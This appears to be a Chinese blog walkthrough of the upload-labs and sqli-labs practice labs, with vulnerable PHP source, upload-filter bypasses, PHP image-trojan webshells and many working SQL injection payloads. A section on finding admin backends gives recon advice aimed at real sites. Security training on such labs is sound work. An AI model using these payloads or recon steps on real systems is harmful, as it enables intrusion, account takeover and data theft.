对文件后缀名做了白名单判断,然后检查文件大小、文件是否存在等等。
将文件上传后,对文件重新命名,同样存在条件竞争的漏洞
初始文件命名规则this->cls_upload_dir .this->cls_filename,重命名规则this->cls_upload_dir .this->cls_file_rename_to,当大量文件需要被重命名时就会出现条件竞争
move在rename之前,move操作进行了一次文件保存, 然后rename进行了一次更改文件名。
利用burp不间断地发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功。

upload labs-20

判断检测点

先上传muma.jpg,直接成功了。再进一步测试黑名单和白名单。随便修改个后缀,也成功了,那这是一个黑名单啊。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        /*
        $file_name = trim($_POST['save_name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        */

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里保存的文件名是可以自己控制的。本关考察CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的

绕过

把保存文件名改为upload-19.php看看,报错叻。

保存名称是自定义的。这里可以构造一个00截断的形式。先尝试2.php%00.jpg,发现貌似不行。虽然成功了,但是保存的仍是jpg啊,没有达到00截断的目的。

然后想起post方式是不能解码%00的,尝试下urlcode呢?将%00在burp右键进行url-decode,此时%00变成了空格。再次上传,发现成功了。

然后连接一句话、

然后看看别人的,还有另一种方法。
move_uploaded_file会忽略掉文件末尾的/.
所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

抓包修改文件名为3.php/. 然后上传成功。实际上在后台可以看到保存的是3.php文件,末尾的/.直接被忽略了。

直接连接。

upload labs-21

判断检测点

先上传muma.jpg,直接成功了。再进一步测试黑名单和白名单。随便修改个后缀,也成功了,那这是一个黑名单啊。但是常规方法不行额。

验证代码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {

        $is_upload = false;
        $msg = null;
        if(!empty($_FILES['upload_file'])){
            //mime check
            $allow_type = array('image/jpeg','image/png','image/gif');
            if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                $msg = "禁止上传该类型文件!";
            }else{
                //check filename
                $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
                if (!is_array($file)) {
                    $file = explode('.', strtolower($file));
                }

                $ext = end($file);
                $allow_suffix = array('jpg','png','gif');
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                    $file_name = reset($file) . '.' . $file[count($file) - 1];
                    $temp_file = $_FILES['upload_file']['tmp_name'];
                    $img_path = UPLOAD_PATH . '/' .$file_name;
                    if (move_uploaded_file($temp_file, $img_path)) {
                        $msg = "文件上传成功!";
                        $is_upload = true;
                    } else {
                        $msg = "文件上传失败!";
                    }
                }
            }
        }else{
            $msg = "请选择要上传的文件!";
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上面第6行先进行了一个Content-Type判断,10-13行,如果save_name是字符串的话就通过explode函数,将post进去的save_name转成小写后按’.’打散成数组。而15-20行里的file) . ‘.’ . file) – 1];处理,而file[count(file)-1]和end(file)是相等的,也就是说,如果save_name是字符串形式传入的话,想要绕过白名单话,file_name必为gif、png、jpg,无法达到上传php的目的。 所以save_name不能以字符串形式传入。而应该以数组形式传入,从而绕过explode过程,构建特殊数组,使得end(file)能绕过白名单,而file[count(file) – 1]不等于jpg或png或gif。这里可以构造save_name[0] = 1.php/,save_name[2] = jpg,这样的话end(file)为jpg,而file[count(file) – 1]为file[1]为空。所以最终file_name=1.php/.,到这里就跟Pass-19一样了。

绕过

直接构造如下图的payload再上传,提示上传成功。

新窗口打开此上传文件,发现已经是命名为1.php了。连接试试呢?也是成功连接。

参考:
https://www.jianshu.com/p/aabc1e7408d5
https://segmentfault.com/a/1190000019450720

文件上传-文件内容验证

文件内容检查

  1. content-type检查
  2. 文件头检查绕过
  3. getimagesize()函数
  4. php_exif()模块检查
  5. imagecreatefromjpeg⼆次渲染

测试流程

  1. 上传一张正常图片, 验证上传功能是否正常
  2. 最好直接上传一张图片马, 可绕过content-type, 文件头, getimagesize(), php_exif检查
  3. 针对二次渲染, 寻找图片数据中不会被转换的部分, 将代码插入其中

content-type检查

绕过:使用burp suite抓包直接修改content-type值

文件头检查绕过

在文件头部添加gif89a

gif89a
<?php
phpinfo();
?>

图片一句话 结合文件包含漏洞或者解析漏洞

getimagesize()函数

绕过
在文件头部添加gif89a
图片一句话, 结合解析漏洞或文件包含漏洞

imagecreatefromjpeg二次渲染

二次渲染: 就是根据用户上传的图片, 新生成一个图片, 将原始图片删除, 将新图片添加到数据库中。 比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

绕过:寻找渲染前后不变的地方, 替换成一句话

文件上传-前端验证

如何探查是为前端验证

  • 右键查看源代码
  • 直接上传⽂件, 如果⽹站⾮常快的弹出提⽰。f12可看,与服务器根本没有任何交互行为。

如何绕过前端验证

  • 通过浏览器审查元素对⽹页的代码查看, 找到对⽂件格式或⼤⼩的限制然后修改即可;
  • 通过Burpsuite⼯具对浏览器进⾏代理, 抓包对包⾥的内容进⾏修改。
  • 浏览器禁⽤JavaScript脚本


查找网站后台

1、穷举猜解

各种扫描器扫即可。

2、开源程序

先确定是哪种cms,然后百度谷歌找到其对应的默认后台即可。有些是建立在cms上的二次开发,可能中间会添加路径,这个需要具体网站分析。

3、搜索引擎

使用各引擎对应的语法去搜索比如admin,login,upload,download之类的

4、二级域名

之前忽略了这个,比如security.xxx.com作为后台登陆的

5、其他端口

这个之前也忽略了,比如有些可能使用 xxx.com:8081作为登陆地址

6、盲打

看看有没有xss漏洞,万一打到管理员呢

7、站点备份

很多站点会有自己整站的文件备份,通常以www、wwwroot、web、webroot等命名,rar,zip,gz,tar.gz,7z等结尾。搞整站备份找入手点也是一种思路,同样的从备份文件列举后台路径也是一种思路。举一反三,如果没有备份,我们可以搜搜这个网站的开发者或建站公司,他建过哪些站,一样搞了,相信大致结构是差不多,从类似的站点上面找突破点找后台也是不错的思路。
除此以外,像有些网站有安装包啊或者下载时候都会自带一个比较傻逼的readme.txt,上面会把后台地址,默认密码、备用密码都写上去,还是那句话,举一反三,自由发挥。

8、站点其他文件

除了备份文件以外,还有一些非管理员失误责任在编写者身上的文件。举两个典型:
1,有些程序的编写者开源后,会带上一个readme.txt,至于内容和作用,呵呵,大家都懂得;
2,网站的css或者js文件,网站作者为了方便,可能会将后台的css样式表、js调用函数等与前台放入同一个文件,看似没有任何价值的文件,里面也许隐藏着后台的一些功能,间接就可能让后台地址暴露出来。还有一些类似的文件,大家自己琢磨。

9、嗅探

同子网嗅探

10、如果还找不到后台

如果这几种常用方法行不通,我就建议不要在后台上面继续下工夫。实在是不建议你继续受折磨受煎熬,强烈建议从别的地方下手。
小站可以旁注、同子网嗅探等,或者是FTP,数据库等等,或者干脆搞管理员搞客服,搞控制面板。
有一些独立的大站可能上面的方法不适用,没关系,可以用上面的方法搞分站呀,先从二级域名开始找后台,慢慢再向主站靠拢。实在不行,编辑器、编辑器后台、 phpMyAdmin等等,这些都可以下手,暴力phpMyAdmin通常比暴力后台来的实在,还有一些其他可用的扩展,都有可能比在后台上面吊死强。

sqli labs 24-65 通关

sqli labs-24

本关为二次排序注入的示范例。 二次排序注入也成为存储型的注入, 就是将可能导致
sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
二次排序注入思路:
1. 黑客通过构造数据的形式, 在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理, 提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储, 通常是保存在数据库中, 保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后, 为了处理该请求, 服务端会查询数据库
中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服
务端环境中执行。
5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注
入漏洞利用是否成功。
此例子中我们的步骤是注册一个 admin’#的账号, 接下来登录该帐号后进行修改密码。 此时
修改的就是 admin 的密码

1、先注册一个admin’#的账号,密码123 然后登陆
2、修改密码为1234
3、以 admin 和1234 进行登陆,发现登陆成功。刚才的修改密码实际上是修改了admin的密码

其原理在于我们在修改密码时的语句是 sql = “UPDATE users SET PASSWORD=’pass’ where username=’username’ and password=’curr_pass’ “;
那么以admin’#用户进行修改时,实际上执行的是 sql = “UPDATE users SET PASSWORD=’pass’ where username=’admin’#’ and password=’$curr_pass’ “;
也就是 username=’admin’,修改的是admin密码。

sqli labs-25

本关考察的是or and的过滤绕过。如何绕过 or 和 and 过滤。 一般性提供以下几种思路:
(1) 大小写变形 Or,OR,oR
(2) 编码, hex, urlencode
(3) 添加注释/or/
(4) 利用符号 and=&& or=||
(5) 双写大小写,Oorr,AandnD
看看他的后台代码

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)

    return $id;
}

不区分大小写,使用 1′ AnD extractvalue(1,concat(0x7e,(select @@version),0x7e))#注入失败,被过滤了。

这里用&&绕过没有成功,不知道为啥; 使用的||绕过

使用双写也能绕过 Oorr,AandnD

sqli labs-25a

1、输入单引号会有警告,但不在有具体的错误信息显示,所以报错注入不能用了,得另寻他法。

2、尝试下联合注入呢?-1 union select 1,2,@@version –+

sqli labs-26

此处过滤的更多了。后台代码

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);         //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

单引号会报错,但是要知道他过滤了很多字符。

空格使用 %0a, or 使用||, 1’%0a||%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))%0a||%0a’1’=’1 成功爆出数据库版本

但是你继续往下做就会发现 %0a 绕空格是不行的。

比如爆表名,用到select database()= select%0adatabase();他在执行时依然会被过滤掉,成了selectdatabase();其他的语句也是如此

所以此处需要用 () 来绕过空格。比如select database()=select(database())

爆表名 extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’)),0x7e))

注意了, 这里面原本是 information_schema.tables,但是它里面包含了or,会被过滤掉,所以使用双写oorr绕过,也就变成了 infoorrmation_schema.tables,里面所有的空格都用括号来绕过

sqli labs-26a

他这里从后台可以看到实际上是sql="select * from users where id=('id') limit 0,1"; 他多了个括号。题目提示使用盲注。所以这里使用布尔盲注。构造1′)%26%26(length(database())=1)%26%26(‘1’=’1 这里%26%26可以使用双写AandnD来代替。burpsuite爆破一下。爆破成功后的页面会显示出登陆的username和password
[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_3a232796e3c8eebc993a89806ecbb903.爆破[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_3a232796e3c8eebc993a89806ecbb903.jpcgh[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_3a232796e3c8eebc993a89806ecbb903.爆破

sqli labs-27

这个就过滤的更多了。

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}

这里试验下联合注入和报错注入。联合注入要用到空格绕过,这个 %0a 啊,有时行有时又不行,我就没搞懂。这个例子是可以的。union和select使用大小写绕过。 1000’%0aunIon%0aSelEcT%0a1,database(),3||’1

sqli labs-27a

输入双引号会报错,但是没有显示错误的内容,将sqli labs-27的单引号改为双引号即可。1000″%0aunIon%0aSelEcT%0a1,database(),3||”1 也可以1000″%0aUnioN%0aSeleCt%0a1,database(),”3

sqli labs-28

1000′)%0aUnioN%0a(SeleCt%0a1,database(),’3 似乎是考察括号和union select在一起

sqli labs-28a

11000%27)%0aUnioN%0a(SeleCt%0a1,@@version,%273 这个和sqli labs-28没啥区别似乎

sqli labs-29

这个和之前不一样,2个参数。后面一个id直接联合注入。利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2 id=1&id=33332%27%20union%20select%201,@@version,%273

sqli labs-30

输入单引号和双引号页面明显不一样。直接尝试双引号的联合注入 11000″%0aUnioN%0aSeleCt%0a1,@@version,”3

[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_c75cb70f5c0e374b6346e6cf1012a1a3.jpg联合注入[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_c75cb70f5c0e374b6346e6cf1012a1a3.jpgrhezhur[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_c75cb70f5c0e374b6346e6cf1012a1a3.jpg联合注入

sqli labs-31

11000″)%0aUnioN%0aSeleCt%0a1,@@version,(“3

$id = '"' .$id. '"'; //先用"拼接输入的参数id
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";//再把id用括号,
//所以在最后需要闭合的是  ("  ")

sqli labs-32

转义了。 比如输入的 ‘ 会被转为 \’

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

利用%df进行绕过,使他与%5c构成一个汉字。实际上这里ASCII大于128的都可以,%df%5c构成汉字,然后剩下的%27就成了具有闭合功能的单引号了。这里加入%df后报错,说明可以注入了。

-1%df%27union%20select%201,2,3%20%20–+ 看清楚这里命令。这里加了单引号’ ,按理说应该考虑闭合的问题,但是呢,这里又有注释符–+, 注释符并没有处在闭合的引号内,所以这个注释符是起作用的,他会将 ‘limit 0,1 注释掉,所以union select后面不用单引号也是可以的,如果注释符被过滤掉,则需要考虑闭合单引号的问题了。

sqli labs-33

与sqli labs-32相比,就是过滤函数不一样。同样的语句绕过 -1%df%27union%20select%201,2,3%20%20–+

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

sqli labs-34

这里变成了post型的注入了。提交的单引号同样会被进行转义处理,在get型的注入中,数据是以url的形式提交的,他会进行url编码。

这里第一个方法,在burpsuite里改包。 uname=admin%df’ union select 1,database()%23&passwd=admin1&submit=Submit

第二个方法,将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 �’ 然后利用万能密码 username: �’ or 1=1#。这个转换不知道他们是怎么转的,我没能转成他这个符号�,我复制粘贴的,不过这个符合的复现确实成功了,

sqli labs-35

这个和sqli labs-33似乎一样的,好像还简单点?
sql=”SELECT * FROM users WHERE id=id LIMIT 0,1″;

sqli labs-36

-1%dfunion select 1,database(),3 –+

第二个方法,使用单引号’的utf格式进行绕过。-1�’union select 1,@@version,3 –+ 也可以是-1%EF%BF%BD%27union%20select%201,user(),3–+ 不过这个转换不知道在哪转的。

sqli labs -37

这个和sqli labs-34一样。抓包或者万能密码。

sqli labs-38

Stacked injections:堆叠注入。 从名词的含义就可以看到应该是一堆 sql 语句(多条) 一起执
行。 而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结
尾加 ; 表示语句结束。 这样我们就想到了是不是可以多句一起使用。 这个叫做 stacked
injection
1′;insert into users(id,username,password)values(’38’,’less38′,’hello’)–+

sqli labs-39

和sqli labs-38没啥区别,变成了数字型注入。1;insert%20into%20users(id,username,password)values(%2740%27,%27less39%27,%27weak%27)%20–+

sqli labs-40

没啥区别,变成了(‘id’) 1′);insert into users(id,username,password)values(’41’,’less40′,’weak11′) –+

sqli labs-41

这个和之前没有区别,只是没了回显。d=1;%20insert%20into%20users(id,usernam
e,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23

sqli labs-42

在password处没有进行过滤,尝试注入。

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

sql = "select * from users where username='username' and password='$password'";
构造登陆的语句,username=22 password=c’;create table less42 like users# 后面执行的是 select * from users where username=’22’ and password=’c’;create table less42 like users#

sqli labs-43

与sqli labs-42基本一样,只不过多了个(”) sql = “select * from users where username=(‘username’) and password=(‘$password’)”; 在password处输入 c’);create table www23w like users#,username随便输啥。发现已创建新表。

sqli labs-44

和之前的基本没区别,只是没了报错信息,只好自己挨个尝试了,password=a’;insert into users(id,username,password) values (‘144′,’less44′,’hello’)#

sqli labs-45

和sqli labs-44没区别,都没有回显,只是闭合情况不一样,password=c’);create table less45 like users#

sqli labs-46

这里开始order by注入。感觉自己对他的理解不够透彻,还需要再仔细研究一遍。这里先跟着别人复现一遍。尝试?sort=1 desc 或者 asc, 显示结果不同, 则表明可以注入。 (升序 or 降序排列)
1、这里先用sort=right(version(),1)和sort=left(version(),1)尝试下。页面并没有产生变化,这里是我无法理解的地方之一。某文章说这里说明数字不起作用,但是如果尝试sort=1和sort=2,页面是不同的。数字起作用了啊。
2、报错注入。sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e)) 这里ExtractValue函数有长度限制,最长 32 位,所以下面表名都没有显示完全。

3、sort=rand(ascii(left(database(),1))=115) 与sort=rand(ascii(left(database(),1))=116)页面不同,rand(true)与rand(false)其结果是不一样的
4、延时注入。1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep
(5)) 测试时pending了很久,快2min了。

sqli labs-47

sql 语句为 sql = “SELECT * FROM users ORDER BY ‘id'”;
报错注入 sort=1%27and%20(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)–+

延时注入 sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep
(5))–+

sqli labs-48

此关没有报错回显,那么之前用的报错注入就不行了。盲注还是可以的、。rand(ascii(left(database(),1))=115)

也可以延时注入。1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee
p(5)))

sqli labs-49

这里依然没有回显,同样的延时注入。1%27%20and%20(If(ascii(substr((select%20username%2
0from%20users%20where%20id=1),1,1))=69,0,sleep(5)))–+ 这里好像出问题了,一直pending

sqli labs-50

这里开始基于order by的堆叠注入。sort=1;create%20table%20less50%20like%20users

sqli labs-51

这里是单引号闭合,所以需要注释。sort=1%27;create%20table%20less51%20like%20users–+

sqli labs-52

和之前一样,只是这里不再有错误回显。sort=1;create%20table%20less52%20like%20users

sqli labs-53

单引号闭合,无错误回显,加上注释即可。sort=1%27;create%20table%20less53%20like%20users–+

sqli labs-54

这关主要有次数限制,当然了本菜逼肯定不是一次通关的。-1′ union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+ 爆出表名

爆出列名 -1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27hi8o6jkiwi%27–+

爆出 secret列的内容 -1%27union%20select%201,2,group_concat(secret_ULXV)%20from%20challenges.hi8o6jkiwi–+

然后提交这个key即可。没来的及截图,一眨眼就跳转了。大概内容是恭喜什么的

sqli labs-55

与sqli labs54一样,只是加了个括号进行过滤。-1) union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+ 爆出表名。

sqli labs-56

与54 55关一样,只不过变成了(’id’) 爆表名 -1′) union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+

sqli labs-57

$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

爆表名 -1″ union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+

sqli labs-58

加单引号测试时发现其报错,直接报错注入。1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

sqli labs-59

sql=”SELECT * FROM security.users WHERE id=id LIMIT 0,1″; 1 and 1=1; 1 and 1=2返回不同页面,1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e)) –+

sqli labs-60

$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

1″) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e)) –+

sqli labs-61

sql=”SELECT * FROM security.users WHERE id=((‘id’)) LIMIT 0,1″; 两层括号 1′)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e)) –+

sqli labs-62

没有回显没有报错。尝试延时注入。sql=”SELECT * FROM security.users WHERE id=(‘id’) LIMIT 0,1″; 尝试语句 1%27)and%20if(length(database())=10,sleep(5),1)%20–+ 爆出数据库名长度

sqli labs-63

sql=”SELECT * FROM security.users WHERE id=’id’ LIMIT 0,1″; 依然是延迟注入,爆数据库名长度 1′ and if(length(database())=10,sleep(5),1) –+

sqli labs-64

sql=”SELECT * FROM security.users WHERE id=((id)) LIMIT 0,1″; 延迟注入。1))and%20if(length(database())=10,sleep(5),1)%20–+

sqli labs-65

$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

这里后台是(“id”) 1″)%20and%20if(length(database())=10,sleep(5),1)%20–+

参考资料:
https://www.cnblogs.com/lcamry/p/5763154.html
https://www.cnblogs.com/xyongsec/p/11230333.html
https://cloud.tencent.com/developer/article/1038223

sqli labs-23

1、这里对输入的注释符‘#’ ‘–’进行了过滤。

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

2、报错注入的话,使用 1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1 来绕过,加入后面那个 and ‘1’=’1 是为了闭合、

3、使用联合注入的话。构造闭合-1′ union select 1,@@datadir,’3 在后台执行语句中就成了$sql=”SELECT * FROM users WHERE id=’-1′ union select 1,@@datadir,’3′ LIMIT 0,1″;

sqli labs-22

1、这个和sqli labs-21一样,只不过它只是使用了双引号。对 11″ and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 进行base64加密 MTEiIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpIw== 然后将修改cookie后再次发送请求。同样直接爆出数据库版本

sqli labs-21

1、与sqli-20一样,但是它对cookie进行了base64加密处理。所以第一个想到的就是直接对报错注入语句进行base 64加密在提交,。admin1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 加密后 YWRtaW4xJyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpKSM= 发现其会报错。。

2、原来是要括号啊。采用 admin1′) and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 进行base64加密 YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkj 再次发送修改cookie后的请求,发现成功爆出数据库版本。

sqli labs-20

1、这是一个cookie注入。先用admin1 admin1登陆成功后,会发现页面显示出当前cookie。然后刷新页面,在burp请求包里就会出现当前的cookie,随便修改下cookie,会发现在返回页面中的cookie也发生了更改。

2、将cookie的值修改为报错注入的语句呢?11′ and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 返回包中发现其成功返回报错信息。